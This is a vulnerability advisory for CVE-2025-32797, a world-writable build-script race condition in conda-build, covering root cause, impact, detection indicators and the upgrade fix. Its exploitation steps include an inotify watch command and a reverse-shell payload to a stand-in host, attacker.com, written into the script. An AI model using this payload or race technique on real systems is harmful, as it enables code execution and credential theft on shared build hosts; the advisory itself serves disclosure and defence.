CVE-2025-32797: 
Linux Fedora vulnerability analysis and mitigation

CVE-2025-32797 is an insecure build script permissions vulnerability in conda-build that enables arbitrary code execution via a race condition. The write_build_scripts function creates the temporary build script conda_build.sh with overly permissive file permissions (0o766), allowing any local user to write to the file. All versions of conda-build prior to 25.3.1 are affected. The vulnerability was published on June 16, 2025, and carries a CVSS v3.1 base score of 7.0 (High) (GitHub Advisory, Red Hat).

The root cause is classified as CWE-277 (Insecure Inherited Permissions): the write_build_scripts function in conda_build/build.py creates conda_build.sh and then explicitly sets its permissions to 0o766 via os.chmod, granting world-write access. An attacker with local filesystem access can monitor the parent build directory (e.g., ~/conda-bld) using tools like inotify or polling to detect file creation events, then overwrite the script within the brief window between its creation and execution. Because the script is subsequently executed under the victim's privileges, the attacker achieves arbitrary code execution. Even semi-randomized directory names can be defeated by acting within milliseconds of detection or by inferring paths from timestamps and logs. The vulnerability was discovered through a security audit conducted by 7a Security in partnership with OSTIF, and the insecure permission mode dates back to the very first public commit of conda-build (GitHub Advisory, Patch Commit).

Successful exploitation allows an attacker with local filesystem access to execute arbitrary code under the privileges of the user running conda build, which in CI/CD pipelines or shared multi-user systems may be a highly privileged account. This can lead to full system compromise, credential theft, supply chain attacks via tampered build artifacts, and lateral movement within the affected environment. The confidentiality, integrity, and availability impacts are all rated High (GitHub Advisory, Red Hat).

No public proof-of-concept exploit code or evidence of in-the-wild exploitation has been reported as of the disclosure date (GitHub Advisory). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.012% (0.000120), indicating a very low probability of exploitation in the near term. Exploitation requires local filesystem access and real-time monitoring or prediction of build directory paths, conditions most commonly present in shared multi-user systems and CI/CD pipelines (Feedly).

1. Gain local access: Obtain a low-privileged account on a shared system or CI/CD runner where a victim user runs conda build.
2. Monitor build directory: Use inotifywait or a polling loop to watch the victim's conda build output directory (e.g., ~/conda-bld/) for the creation of conda_build.sh:

   inotifywait -m -e create ~/conda-bld/ --format '%f'

3. Detect script creation: When conda_build.sh is created with permissions 0o766, the monitoring tool triggers an alert within milliseconds.
4. Overwrite the script: Immediately write a malicious payload to the script before it is executed:

   echo 'bash -i >& /dev/tcp/attacker.com/4444 0>&1' > ~/conda-bld/<build-dir>/work/conda_build.sh

5. Achieve code execution: The victim's conda build process executes the overwritten script under the victim's privileges, establishing a reverse shell or executing any attacker-chosen command (GitHub Advisory, Red Hat Bugzilla).

• File System: Presence of conda_build.sh or build_env_setup.sh in the conda work directory with permissions 0o766 (world-writable) rather than the expected 0o700/0o600 in patched versions; unexpected modification timestamps on these files shortly after creation.
• Process: Unusual child processes spawned by the conda build shell process (e.g., bash, nc, curl, python) making outbound network connections; reverse shell processes originating from the build environment.
• Logs: System audit logs (auditd) showing write access to conda_build.sh by a user other than the build owner; inotify-based monitoring alerts on the conda build directory from unexpected processes.
• Network: Unexpected outbound connections from the build host to unknown external IPs, particularly on non-standard ports, originating from shell processes (GitHub Advisory).

Upgrade conda-build to version 25.3.1 or later, which restricts conda_build.sh permissions to 0o700 (owner-only) and build_env_setup.sh to 0o600, and uses atomic file creation via a temporary randomized filename with shutil.move to minimize the race condition window (Patch Commit). As a temporary workaround for users unable to upgrade immediately, manually restrict the permissions of conda_build.sh from 0o766 to 0o700 after each build script creation. Additionally, avoid running conda build on shared multi-user systems or CI/CD runners where untrusted local users have filesystem access to the build directory (GitHub Advisory, Red Hat Bugzilla).

The vulnerability was discovered through a security audit conducted by 7a Security in partnership with OSTIF, and the advisory credits stamparm as the finder (GitHub Advisory). Red Hat tracked the issue via Bugzilla and assessed it as medium severity for their products (Red Hat Bugzilla). Community discussion was noted on Mastodon (infosec.exchange) shortly after disclosure, and downstream Linux distributions including Fedora issued updates for the affected package.